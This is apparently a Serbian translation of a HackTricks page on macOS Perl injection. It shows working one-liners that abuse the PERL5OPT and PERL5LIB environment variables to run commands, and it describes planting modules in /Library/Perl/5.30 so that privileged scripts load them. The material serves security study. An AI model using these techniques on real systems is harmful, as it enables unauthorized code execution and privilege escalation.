hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

3.3 KiB

Ubrizgavanje Perl aplikacija na macOS-u

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Putem PERL5OPT & PERL5LIB env promenljivih

Korišćenjem env promenljive PERL5OPT moguće je naterati perl da izvrši proizvoljne komande.
Na primer, kreirajte ovaj skript:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

Sada izvezite env promenljivu i izvršite perl skriptu:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Druga opcija je da se kreira Perl modul (npr. /tmp/pmod.pm):

{% code title="/tmp/pmod.pm" %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

{% endcode %}

Zatim koristite env promenljive:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Preko zavisnosti

Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava:

perl -e 'print join("\n", @INC)'

Koji će vratiti nešto slično:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Neke od vraćenih mapa čak ne postoje, međutim, /Library/Perl/5.30 postoji, nije zaštićen od SIP-a i nalazi se ispred mapa zaštićenih SIP-om. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripti tamo kako bi visoko privilegovana Perl skripta učitala te zavisnosti.

{% hint style="warning" %} Međutim, imajte na umu da morate biti root da biste pisali u tu mapu i danas ćete dobiti ovaj TCC prozor: {% endhint %}

Na primer, ako skripta uvozi use File::Basename; bilo bi moguće kreirati /Library/Perl/5.30/File/Basename.pm da bi se izvršio proizvoljni kod.

Reference